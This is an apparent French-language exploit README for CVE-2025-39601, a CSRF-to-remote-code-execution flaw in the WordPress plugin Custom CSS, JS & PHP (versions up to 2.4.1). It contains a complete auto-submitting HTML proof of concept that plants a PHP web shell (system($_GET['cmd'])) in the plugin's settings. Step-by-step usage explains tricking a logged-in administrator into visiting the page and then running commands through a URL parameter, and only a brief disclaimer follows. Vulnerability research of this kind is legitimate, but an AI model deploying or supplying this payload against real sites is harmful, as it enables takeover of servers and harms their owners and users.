🚨 CVE-2025-39601 - CSRF vers RCE dans le plugin WordPress Custom CSS, JS & PHP <= 2.4.1

🧠 Description

Une vulnérabilité de type Cross-Site Request Forgery (CSRF) dans le plugin WPFactory Custom CSS, JS & PHP permet une exécution de code à distance (RCE) en injectant du code PHP malveillant via des requêtes POST non autorisées.
Cela affecte toutes les versions jusqu'à la 2.4.1 incluse.

Identifiant CVE : CVE-2025-39601
Publié : 2025-04-16
Mis à jour : 2025-04-16
Sévérité : 🔥 9.6 (CRITIQUE)
CWE : CWE-352 - Cross-Site Request Forgery
Vecteur CVSS : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

🖼️ Preuve visuelle

Vous trouverez ci-dessous une capture d'écran montrant le résultat d'une exploitation réussie, démontrant comment du code peut être exécuté à distance via le paramètre d'URL :

Nxploited

💥 Preuve de concept (PoC)

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>WordPress Custom CSS, JS & PHP plugin <= 2.4.1 - CSRF to RCE vulnerability</title>
</head>
<body onload="document.forms[0].submit()">
    <h1>CSRF PoC - WordPress Custom CSS, JS & PHP plugin <= 2.4.1</h1>
    <p>By : Nxploited | Khaled Alenazi</p>
    <form action="http://192.168.100.74:888/wordpress4/wp-admin/tools.php?page=alg-custom-php" method="POST">
        <input type="hidden" name="alg_custom_css_php_enabled" value="1">
        <input type="hidden" name="alg_custom_css_php_execute" value="plugins_loaded">
        <input type="hidden" name="alg_custom_css_php" value="<?php system($_GET['cmd']); ?>">
        <input type="hidden" name="alg_ccjp_submit" value="php">
        <noscript><input type="submit" value="Submit"></noscript>
    </form>
</body>
</html>

🧪 Utilisation

Hébergez le fichier HTML ci-dessus sur un serveur externe ou un environnement local.
Pendant qu'un utilisateur administrateur est connecté, visitez le fichier HTML hébergé dans son navigateur.
Cela soumettra silencieusement le formulaire et injectera du code PHP dans les paramètres du plugin.
Le code est ensuite exécuté automatiquement à chaque chargement de page via le hook plugins_loaded.
Exemple d'exécution :
```
http://target-site.com/?cmd=whoami
```

⚠️ Avertissement

Ce PoC est uniquement à des fins éducatives.
L'auteur n'est pas responsable de toute utilisation abusive ou de tout dommage causé par une mauvaise application de ces informations.
Testez toujours dans des environnements contrôlés et avec autorisation.

Par : Nxploited | Khaled Alenazi

CVE-2025-39601